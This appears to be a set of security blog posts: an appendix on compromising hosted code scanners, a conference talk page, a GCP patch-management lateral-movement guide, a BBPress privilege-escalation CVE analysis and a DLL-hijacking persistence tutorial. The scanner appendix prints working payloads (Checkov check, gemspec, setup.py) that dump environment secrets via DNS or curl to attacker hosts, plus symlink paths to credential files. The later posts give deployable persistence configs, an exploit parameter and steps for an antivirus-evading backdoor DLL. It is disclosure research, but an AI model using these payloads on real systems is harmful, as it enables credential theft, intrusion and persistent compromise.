repository content. That is the assumption worth auditing, in your own pipeline and in the vendors you trust with your source. ## Appendix The evidence that didn’t need to be in the main line of argument: the full payload-discovery pipeline, the data-collection techniques in detail, and the three remaining vendor deep-dives. ### The Discovery Pipeline We call this discovery mode. It’s a multi-stage AI pipeline that identifies what payloads should work against a given target. Stage 1: Crawl. Crawl4AI recursively fetches vendor documentation using a headless browser (handles JS-rendered content), following internal same-domain links up to a configurable depth. We typically crawl docs sites, integration guides, and changelog pages, and keep only surfaces with realistic RCE or blind SSRF potential. Stage 2: Extract & Predict. An LLM with structured output reads each page and extracts two categories of information: - Explicitly mentioned tools (“We support Checkov for IaC scanning”) - Predicted tooling based on documented behavior (“analyzes Python dependencies” implies pip/poetry/requirements.txt even if not explicitly listed) Stage 3: Deduplicate. A stronger model normalizes variants (“Go modules (go.mod)” becomes “Go modules”) and filters vendor-specific marketing terms that aren’t actually tool names. Stage 4: Compare. The model fuzzy-matches discovered surfaces against our existing corpus, using full context including trigger commands, file paths, and tags to determine coverage gaps. A tool might have multiple payload variants, so the comparison considers whether we have adequate coverage, not just any coverage. Stage 5: Generate. For coverage gaps, an LLM coding CLI writes new payload generators using existing generators as examples. The prompt includes the tool documentation, the target file format, and examples of similar payloads that work. Generated candidates require human review before they enter the deterministic Python/Jinja corpus. Stage 6: Validate. This is non-negotiable. AI-generated payloads are hypotheses until proven. Each accepted generator renders a fresh repository artifact with a unique payload ID and run ID; we mount it in Docker, run the declared target tool, and pass only on the matching callback before a timeout. stdout, exit codes, and unrelated requests never count as proof. No callback, no inclusion. Concretely, validating an npm-preinstall generator looks like this: render a package.json with a fresh callback path, mount the generated repo at /workspace, spawn npm install inside a disposable Docker container, and watch for GET /npm-preinstall-. It passes only when the expected payload ID and run ID arrive before the timeout. A zero exit code with no callback is a failure, not a pass. How reliably a category validates depends on how well its execution model is documented and how stable the tool is across versions. Package-manager hooks (npm postinstall, pip setup.py) are the most consistent; config-file execution (Checkov external checks, RuboCop require) is less so because of version differences; editor and language-server tooling is the hardest, since behavior varies widely across environments. ### The Data-Collection Playbook Across these findings, a small, repeatable set of techniques did the work, and the same set is what defenders need to watch for. We didn’t use every one; the cloud-metadata path below is an available escalation we left alone, because the worker environment already held what mattered. 1. DNS Tunneling. DNS egress often remains available even when HTTP and HTTPS are restricted. Encode your data as hex, chunk it into DNS-safe labels, and query: ``` {index}-{total}.{hex_chunk}.collect.attacker.domain ``` The attacker receives the DNS queries, reassembles the chunks, and decodes. This can bypass HTTP-only egress controls when recursive DNS remains available. 2. Cloud Metadata APIs (an escalation we mostly left alone). The credentials in these findings came out of the worker’s environment variables. We didn’t routinely reach for the cloud metadata service; where we touched it at all, it was a minimal check on a vendor’s request to demonstrate impact. It belongs on the list as a surface defenders have to close: with code execution in the worker, the link-local instance-identity endpoints (AWS ECS task roles, GCP, and Azure managed identity, each gated by its own headers or parameters) are a well-known next step that can expose credentials carrying whatever permissions the worker identity holds. The environment variables already held what mattered, so we stopped there; a real attacker would not. 3. Symlink Traversal. Create a file that’s a symlink to: - /proc/1/environ (container environment variables) - /proc/self/environ (process environment variables) - /var/run/secrets/kubernetes.io/serviceaccount/token (orchestration service account) - /root/.aws/credentials (cloud credentials file) A tool that follows repository symlinks without target validation can disclose any target readable by its process. 4. Config File Code Execution. - Checkov: .checkov.yml with external-checks-dir pointing to a Python file - RuboCop: .rubocop.yml with a require directive loading arbitrary Ruby - ESLint: .eslintrc.js, and the flat-config eslint.config.js that replaced it in ESLint 9, is JavaScript that gets executed - Gemspec: any .gemspec file is evaluated as Ruby - setup.py: executed to extract package metadata - Terragrunt: repository-defined hooks run commands during processing These are all features, designed for trusted environments. They become vulnerabilities the moment the repository is untrusted. ### Vendor A Vendor A also used Checkov and was vulnerable to the same external-checks-dir payload. Their environment and their remediation differed from Vendor B’s. Same two files, with the check sending data out over DNS instead of HTTP: .checkov.yml ``` external-checks-dir: - checkov_checks ``` checkov_checks/extra_check.py ``` import os import socket # Gather environment via DNS tunneling env = "\n".join(f"{k}={v}" for k, v in os.environ.items()) hex_data = env.encode().hex() chunks = [hex_data[i:i+50] for i in range(0, len(hex_data), 50)] total = len(chunks) for i, chunk in enumerate(chunks): try: socket.gethostbyname(f"{i}-{total}.{chunk}.hex.our-domain.com") except: pass # Still need to be a valid Checkov check from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CanaryCheck(BaseResourceCheck): def __init__(self): super().__init__(name="Canary", id="CKV_CANARY_001", categories=[CheckCategories.GENERAL_SECURITY], supported_resources=['aws_s3_bucket']) def scan_resource_conf(self, conf): return CheckResult.PASSED check = CanaryCheck() ``` The snippet above is the environment-dump portion, simplified for the write-up. The check we actually ran also prepended some quick recon (whoami, a process list, installed binaries) behind === SECTION === markers, ahead of the environment dump. Vendor A’s scan environment ran in a restricted serverless setup that blocked outbound HTTP and HTTPS, so web callbacks never completed, but DNS resolution was allowed and the data left in the query names. These are real DNS records from that scan, with the collector host, source IPs, and most of the hex-encoded payload redacted: ``` [0-562.3d3d3d2057484f414d49203d3d3d0a…redacted.[oast-id]] DNS interaction 2025-12-29 02:10:11 [1-562.…redacted.[oast-id]] DNS interaction 2025-12-29 02:10:11 ... [561-562.…redacted.[oast-id]] DNS interaction 2025-12-29 02:11:49 ``` The leading 3d3d3d2057484f414d49203d3d3d0a decodes to === WHOAMI ===, and the reassembled stream ran that recon (whoami, processes, binaries) into the full environment, which is how we confirmed code execution. Cloud credentials (full session): - Access Key ID, Secret Access Key, Session Token - An IAM role scoped to the SAST workload - Account ID and region Internal secrets and configuration: - Internal service authentication secrets - Credentials for third-party operational services - Internal service URLs Vendor A was as exposed as the others, and fixed it structurally rather than patching bypass by bypass. In their own internal build of Checkov they removed file-based configuration support outright: it no longer reads a .checkov.yml or .checkov.yaml from the scanned repository (or the working or home directory), so a repository-supplied config can’t load external checks at all. That retires the whole class instead of the specific bypass. ### Vendor C: Ruby Gemspec Evaluation This vendor’s SAST platform supported Ruby analysis. Ruby gemspec files are just Ruby code. When gem tooling processes a .gemspec, it evaluates the file. canary.gemspec ``` # Gather environment variables env = ENV.map { |k, v| "#{k}=#{v}" }.join("\n") env.unpack1('H*').scan(/.{1,50}/).each_with_index do |chunk, i| begin system("curl -s 'http://env#{i}.#{chunk}.attacker.domain'") rescue end end Gem::Specification.new do |s| s.name = 'canary' s.version = '0.0.1' s.summary = 'Test gem' s.authors = ['Test'] s.files = [] end ``` The gemspec executed during analysis and sent the worker’s environment back to us. Everything below was sitting in those variables: Cloud service-account token: - The complete access-token value for the analysis service account; its scope was not enumerated, and we did not exercise it Orchestration service-account token: - Full JWT for the analysis namespace (scope not enumerated) RSA private key (SIGNING_KEY): - A full RSA private key exposed in plaintext as the value of a SIGNING_KEY environment variable - We did not determine what it signs. The variable name suggests a signing role; any forge-signatures impact on commits, tags, or releases is conditional on that and was not vendor-confirmed Internal infrastructure: - RabbitMQ credentials with full connection string - Redis cache access - Analysis storage-bucket details This illustrates the challenge: tools designed to analyze code often need to evaluate it, creating the same execution risks they’re meant to detect. ### Vendor D: Python setup.py Execution This vendor’s main product was software-composition analysis, and that primary SCA path didn’t trigger our payload. What did was an ancillary SBOM-generation service running alongside it, a secondary collector that needed package names and versions and, to get them, ran: ``` python3 setup.py --name --version ``` That’s Python code execution. Loading setup.py runs top-level Python before setup() ever returns metadata. setup.py ``` import os import urllib.request # Gather environment variables env_data = "\n".join(f"{k}={v}" for k, v in os.environ.items()) for i, chunk in enumerate([env_data.encode().hex()[j:j+50] for j in range(0, len(env_data.encode().hex()), 50)]): try: urllib.request.urlopen(f'http://env-{i}.{chunk}.attacker.domain', timeout=2) except: pass from setuptools import setup setup(name='canary-package', version='1.0.0') ``` The payload called urlopen(); we saw the DNS lookups for every attempt, but the HTTP request itself didn’t complete, and we did not determine the precise vendor-side egress control. The data still left, carried in the hex-encoded hostnames the resolver looked up. Cloud credential endpoint: - The worker environment exposed the container-credentials locator, the path a task uses to fetch its IAM session token, not the token or keys themselves. Retrieving the live credential would have meant querying the metadata endpoint, which we did not do. Vendor’s GitHub personal access token: - The vendor’s own PAT, present in the worker’s environment. This was an internal provisioning credential, used to build and ship the vendor’s own code, not a token for cloning customer repositories. We did not test its scope. Vendor’s Docker Hub personal access token: - The vendor’s own registry token, likewise internal to its build pipeline. We did not test its scope. Internal service references: - Several internal service names (identity, source-control, cloud-connector) sat in the worker’s environment as strings, not a mapped network. These two tokens are the finding here, and they point inward, at the vendor’s own supply chain rather than its customers’. They were the credentials the vendor used internally to provision and build its code. If the GitHub PAT carries write and the registry token carries push, an attacker who lands in this worker could push to the vendor’s internal registry, tamper with its build artifacts, or read its proprietary source. That is a compromise of the vendor’s own pipeline, and through whatever it ships, of everyone who runs the vendor’s software. We did not test either token’s scope or exercise them. -------------------------------------------------------------------------------- # Black Hat USA 2026: Scanning the Scanners (Slides, Deck & Tools) URL: https://blog.raphael.karger.is/articles/2026-08/bh-2026 Published: 2026-08-06 Categories: black hat, supply chain, application security, security research Summary: Slides, tools, and links from my Black Hat USA 2026 briefing on hosted code scanners that execute the untrusted repositories they process. This page has the slide deck from my Black Hat USA 2026 briefing, the two open-source releases, and the session listing. Supply-chain compromise usually runs one way. A vendor gets breached, and the damage flows downstream through its distribution channel. This research tests the reverse path, where a hosted code scanner accepts repositories from anyone who signs up and that repository becomes untrusted input for a backend holding source access, registry credentials, and cloud identity. Scanning gets treated as read-only processing, but scanners invoke package managers, build tools, metadata commands, plugins, and executable configuration. Even with no code execution at all, unsafe path handling can read outside the repository. Twenty self-service hosted scanner platforms were tested, and five had confirmed boundary failures. Four allowed repository-controlled execution inside the scanning worker, and one allowed an out-of-root file read with no execution involved. Every confirmed case exposed operational vendor credentials, including production database credentials, a payment processor key, source-control and registry tokens, and a plaintext RSA signing key. Findings were reported in January 2026 and are presented anonymized. The full technical write-up covers every payload, all five confirmed cases, and the detection story that started the research: Scanning the Scanners: Compromising Five Security Vendors Through Their Own Scanners. ## Slides This browser cannot display the deck inline. Open the slides (PDF, 1.5 MB) ## Build Canaries github.com/rek7/build-canaries Build Canaries is the tool this research runs on. It generates repository artifacts that exercise implicit build hooks, package lifecycle scripts, and executable configuration in anything that clones, scans, or builds untrusted code. Each generator is deterministic and carries a unique payload and run ID. Every locally runnable payload in the verified corpus is validated against the real target tool inside a disposable container, passing only when the expected callback arrives, so stdout and exit codes never count as proof. Categories that can’t be reproduced locally (paid services, hosted CI/CD, IDE integrations, and some AI surfaces) are labeled separately and don’t get that guarantee. Point it at a vendor’s documentation and it will crawl the docs, find processing surfaces the corpus does not cover, and draft candidate generators for human review. It started as an internal regression framework at ZeroPath after we caught an attempted attack against our own platform, then grew well past that scope. If you buy a hosted scanner, you can run Build Canaries against your own vendors and see whether you get callbacks. ## DVASP github.com/rek7/DVASP DVASP is the Damn Vulnerable Application Security Platform, a deliberately vulnerable local-first scanner you can point Build Canaries at without touching anyone else’s infrastructure. You submit a repository, run assessment templates, and review normalized findings against a stack carrying the same classes of boundary failure this research found in production. Every credential in it is synthetic and watermarked. DVASP is also the platform used for the demo in the talk. ``` docker compose up ``` ## The talk Scanning the Scanners: Turning Security Vendors into Supply-Chain Weapons at the Black Hat USA 2026 Briefings. The talk closes on three takeaways. - Supply chain risk runs both directions. - Severity lives in the worker, not the bug. - Don’t accept “it’s containerized”. -------------------------------------------------------------------------------- # Abusing OS Patch Management in GCP for Lateral Movement and Persistence URL: https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching Published: 2022-08-11 Categories: Google Cloud Platform (GCP), red teaming, cloud security, persistence Summary: Using OS patch management in GCP to pivot and maintain access to compute instances. ## What is OS Patch Management? OS patch management is a service provided by Google Cloud Platform (GCP) to enable users of the platform to update and manage long-running Virtual Machines (VMs). Updates are in the form of a user-defined bash or PowerShell scripts that can either be referenced locally or referenced via a storage bucket. One of the main features it has is scheduling where you can determine how often an update occurs and across what systems. One important thing to note is that patch management can occur on both Windows and Linux VMs. As an attacker, this seems like a fantastic opportunity to gain a cross-platform and reliable way of getting code execution across every compute instance. It also runs under the context of the OS Config agent. ## Abusing For Persistence One of the main features used in patch management is the ability to schedule updates. This feature within the product is called patch deployment. Using the CLI we can schedule recurring updates, to use the CLI we must provide a JSON file that includes the time zone, time of day that the patch will execute and the frequency by which it will occur, the empty timeOfDay object means it will start at 00:00. ``` 1 2 3 4 5 6 7 8 "recurringSchedule": { "timeZone": { "id": "America/New_York" }, "timeOfDay": { }, "frequency": "DAILY" }, ``` The next field that’s required is instance filtering. This field determines the compute instances that will be affected by the patch. In our case, we will want all of the compute instances to be updated. ``` 1 2 3 "instanceFilter": { "all":true }, ``` In order to execute our payload we will be adding a preStep object. This will run before an update occurs. It specifies the GCP bucket containing the payloads and the file name of the payloads. The interpreter string object outlines which shell to use. With Windows you have the option to use either powershell or traditional batch scripts, on Linux we can only use shell scripts. Since we’re using a GCP bucket to deploy our payload we need to specify a valid generationNumber for the payload, this is simply the current version of the file it can be found in the object metadata. Another important feature to enable is migInstancesAllowed, this makes sure that managed instance groups, are able to be affected by the patch. ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 "preStep": { "linuxExecStepConfig": { "gcsObject": { "bucket": "myBucketName", "object": "payload.sh", "generationNumber": "1659659086420983" }, "interpreter": "SHELL" }, "windowsExecStepConfig": { "gcsObject": { "bucket": "myBucketName", "object": "payload.ps1", "generationNumber": "1659659086420983" }, "interpreter": "POWERSHELL" } "migInstancesAllowed": true }, ``` One final important part of our patch is the rebootConfig string in our object. For the affected machines to not be rebooted, we must set the value to NEVER. ``` 1 "rebootConfig": "NEVER", ``` If we wanted to deploy this patch using the gcloud CLI we would run: gcloud compute os-config patch-deployments create my-update --file=patch.json ## Lateral Movement ### Cloud Functions By default cloud functions have the editor role which gives it access to more than 5,000 permissions (to view all permissions offered by the role run gcloud iam roles describe roles/editor). One of the permissions it has access to is osconfig.patchJobs.exec which is perfect for us (if you want to create a patch deployment you will need to see if it has the osconfig.patchDeployments.create permission). It enables us to create a malicious patch job and issue it to every compute instance. A patch job simply runs a patch only once without the ability for scheduling. To use it we will simply modify our JSON patch file to remove the recurringSchedule JSON block so we will only execute one command. This is optional if you want to just have persistence however it is more stealthy to just execute the job once to get code execution on the machines. By modifying the patch file outlined in the persistence section (a boilerplate patch job can be found in the patchy repo), we can deploy it using the gcloud CLI by running: gcloud compute os-config patch-jobs execute --file=patch.json The ability to compromise all of a project’s compute instances just by gaining access to a cloud function is incredibly scary. Application vulnerabilities are very common in the wild. If an attacker can get code execution in a poorly coded function they can move laterally and gain entire access not to just the compute instances but almost any resource hosted in the project. To help aid in the discovery and exploitation of this misconfiguration I created Patchy. Patchy provides the ability for automatic lateral movement within a GCP environment, it also enables a service account to be manually specified to enable persistence (useful when you’ve discovered creds via OSINT or already have a foothold in the environment). ## Command and Control There are many different ways to maintain access to compute instances. One of the most stealthy and persistent methods i’ve found is to use Google Sheets as a c2. Its hard for Google to block traffic destined for APIs used by Google so this is a really good bet. It also uses a HTTPS encrypted channel. Due to it being in Python it will work out of the box on Linux but projects like py2exe make it easy for the implant to be compiled as an executable which will run across 32/64 bit Windows compute instances. To deploy this payload we can simply modify the Powershell and Bash script in the gcsObject object to download and run the payload. Another way is to set a malicious startup script. You can simply put a bash/powershell stager that will be executed whenever the VM is restarted. ## Final Thoughts I originally stumbled upon the idea of using patch management after watching So You Think You Can Secure Your Cloud: Red Team Engagements in GCP. Brad Richardson pointed out a couple of different issues with using it in the context of a red teaming engagement and I wanted to continue to research the feasibility of this method. The first major issue was that boxes were forced to restart after running a payload. I was able to prevent this by using a preStep script and forcing the value of rebootConfig to NEVER in the JSON config we uploaded to OSConfig API. The second major issue was that he never defined an attack path for using it to move laterally. In the above section Lateral Movement, I outline how we can use it to compromise a project’s compute instances. I also provided an automated solution for both the exploitation and discovery; Patchy. -------------------------------------------------------------------------------- # Analysis and Discovery of CVE-2020-13693 URL: https://blog.raphael.karger.is/articles/2020-05/CVE-2020-13693 Published: 2020-05-29 Categories: CVE Analysis, Source Code Analysis, Web Exploitation, Wordpress Summary: Source code analysis to find privilege-escalation in 300k sites. ## Introduction After conducting research on popular Wordpress plugins I discovered a logic-bug in BBPress which is installed on over 300,000+ websites. The found vulnerability was identified to be privilege-escalation, I was assigned CVE-2020-13693 and a X,XXX payout from Wordpress on Hackerone. Due to the severity and ease of exploitation, this was assigned a CVSS of 9.8. This vulnerability as we’ll see below was possible because of a white-box approach with the help of Nathan Hrncirik setting up a virtual wordpress environment. ## Exploitation and Impact By simply adding the bbp-forums-role parameter with the value of bbp_keymaster to the signup request you can effectively make the newly created user a “Keymaster” which is a forum administrator, gaining complete forum control. The impact of this is huge, by gaining Keymaster access one can delete forum activities, import/export forum users, and create moderators. There is however a couple of conditions that need to be met to exploit this, the first being that user registration needs to be enabled on a site, allowing the creating of new forum users, second a BBPress register form (shortcode [bbp-register]) needs to be embedded so a nonce can be retrieved. Below is a screenshot of me using Burpsuite to manually exploit the vulnerability. After sending the request, if we navigate to the dashboard we can see our newly created user has the Keymaster role. ## Initial Discovery After analyzing the user registration section of the code, it was discovered that the add_filter was being triggered on the signup_user_meta tag and was passed into the bbp_user_add_role_to_signup_meta function which is called during user registration in /includes/core/filters.php. In Wordpress add_filter is used as a “hook” in order to change or alter internal data at runtime. This was interesting because according to the Wordpress developer documentation signup_user_meta is a filter that’s used for role manipulation and adding user metadata properties during user signup. This means BBPress was altering the metadata roles of a user as the user registers. This really isn’t surprising as BBPress is forum software, and there’s a separation of roles for users, moderators, and administrators. ``` 1 2 // User Creation add_filter( 'signup_user_meta', 'bbp_user_add_role_to_signup_meta', 10 ); ``` After investigation the add_filter hook I examined the bbp_user_add_role_to_signup_meta function located in /includes/user/signups.php which handles when the tag was called. This function takes the post parameter bbp-forums-role and sees if its in a dynamic role array returned from bbp_get_dynamic_roles(). Looking at this the only thing that’s needed to subvert the logic of the program is to simply send the parameter of the bbp-forums-role post request with a valid role. ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function bbp_user_add_role_to_signup_meta( $meta = array() ) { // Posted role $forum_role = isset( $_POST['bbp-forums-role'] ) ? sanitize_key( $_POST['bbp-forums-role'] ) : bbp_get_default_role(); // Role keys $roles = array_keys( bbp_get_dynamic_roles() ); // Bail if posted role is not in dynamic roles if ( empty( $forum_role ) || ! in_array( $forum_role, $roles, true ) ) { return $meta; } // Add role to meta $meta['bbp_new_role'] = $forum_role; // Return meta return $meta; } ``` The bbp_get_dynamic_roles function in /includes/core/capabilities.php iterates through the BBPress roles and creates them into a standardized array and applies it as a tag. In order to now successfully add a role, we have to figure out what the name of the Keymaster role is. ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 function bbp_get_dynamic_roles() { // Defaults $to_array = array(); $roles = bbpress()->roles; // Convert WP_Roles objects to arrays foreach ( $roles as $role_id => $wp_role ) { $to_array[ $role_id ] = (array) $wp_role; } // Filter & return return (array) apply_filters( 'bbp_get_dynamic_roles', $to_array, $roles ); } ``` The bbp_get_keymaster_role() function in /includes/core/capabilities.php sets the bbp_get_keymaster_role role equal to bbp_keymaster, meaning that we need to add bbp_keymaster at the end of our post request in order to sucessfully register a keymaster user. ``` 1 2 3 4 5 function bbp_get_keymaster_role() { // Filter & return return apply_filters( 'bbp_get_keymaster_role', 'bbp_keymaster' ); } ``` ## Conclusion The BBPress team was very quick to issue a patch, in the form of 2.6.5 successfully validating the roles that are being added. Patch Notes for BBPress 2.6.5. If you enjoyed this post, follow me on Twitter for more content in the future. -------------------------------------------------------------------------------- # Context Menu persistence using DLL Hijacking URL: https://blog.raphael.karger.is/articles/2020-03/context-menu-persistance Published: 2020-03-18 Categories: malware, windows, persistence Summary: Using DLL hijacking to gain persistence in explorer.exe. ## What is a Context-Menu? A context-menu is simply the menu that appears when you right-click an object in the File Explorer or Desktop. It allows applications to add functionality when interacting with files such as “Edit with Notepad++”. ## How Can We Leverage This To Our Benefit? After doing some research about DLL proxying I accidentally stumbled across a method of persistence that doesn’t seem to be documented anywhere. I was able to leverage the context-menu handler autorun feature of file explorer to gain persistent access to the system via a DLL which is loaded in explorer.exe. ## Why Is This So Dangerous? The main reason this is so dangerous is that the DLL is being run by explorer.exe, this is a trusted program, where network traffic normally comes out of for stuff such as SMB and HTTP requests(Windows telemetry). Also since its loaded via explorer.exe, it’s impossible to kill unless you kill each thread, otherwise, you will kill your user interface such as the taskbar, desktop, and file explorer. Also, it gets run every reboot ;). In the screenshot below using process explorer, you can see two connections, one is Blazing Fast(my backconnect), the other is a Windows telemetry server. ## How Does DLL Hijacking Play Into This? Essentially we can perform DLL hijacking to have a malicious DLL be called and redirect the normal execution of the legitimate DLL to the real library. DLL proxying is a form of DLL hijacking, where a malicious DLL also known as a wrapper redirects all function calls to the legitimate DLL. This is achieved by making a forwarder, which points to the legitimate DLL by supplying a string that contains the name of the function, the DLL it’s going to be redirected to, the name of the function in the real DLL and the ordinal which is the unique identifier for an exported function. ## Steps to Develop Your Own persistence ### Step 1, Finding a Suitable Program Which Has a Context Menu Handler All right this should be common sense at this point, for this demonstration we will be using Notepad++, really any other text editor or program that gets called in the context menu can be used. In the screenshot below we’re using autoruns by Sysinternals, to see the programs which have a context-menu registry entry. ### Step 2, Create a Proxy DLL In our case we will replace the real DLL NppShell_06.dll with our malicious one and rename the real DLL to NppShell_06_.dll which will have the legitimate function calls proxied to it. Our payload will be ran in the BOOL WINAPI DllMain(...) function, and will create a thread to run parallel to the program which will not halt the flow of the DLL, note: if you keep a loop inside of the DLL main function it can cause programs to entirely halt as the LoadLibrary(...) function call waits for the loading of a specified DLL to end before continuing the normal execution of the program. In my Github repository, https://github.com/rek7/dll-hijacking, I provide a basic script and a DLL that can be used. Continuing with our Notepad++ demonstration, I will use my tool parse.py to create a custom definitions.h file for NppShell_06.dll with the name of the functions we have to proxy. Your definitions.h should look like: ``` #pragma once /* .\original_dlls\notepad++\NppShell_06.dll - 8664 machine (x64) */ #pragma comment(linker,"/export:DllCanUnloadNow=NppShell_06_.DllCanUnloadNow,@1") #pragma comment(linker,"/export:DllGetClassObject=NppShell_06_.DllGetClassObject,@2") #pragma comment(linker,"/export:DllInstall=NppShell_06_.DllInstall,@3") #pragma comment(linker,"/export:DllRegisterServer=NppShell_06_.DllRegisterServer,@4") #pragma comment(linker,"/export:DllUnregisterServer=NppShell_06_.DllUnregisterServer,@5") ``` At this point, you should be all set, compile your DLL to be the same as the identified one. ### Step 3, Deployment In our case, rename the original NppShell_06 DLL to NppShell_06_.dll and place our new DLL as NppShell_06.dll. Simply restarting the computer should load our DLL into memory, and run our payload. ## Example of Shell Being Spawned In the screenshot below, the DLL is triggered when the user right-clicks which activates the context menu since DLLs are loaded into memory only once as soon as it’s activated it will continue to be in memory until the system restarts. ## Methods of Detection At this point, it’s completely FuD by all major anti-viruses and Palto Alto Wildfire. One of the easiest ways to detect it is to check for unsigned DLLs that are being loaded.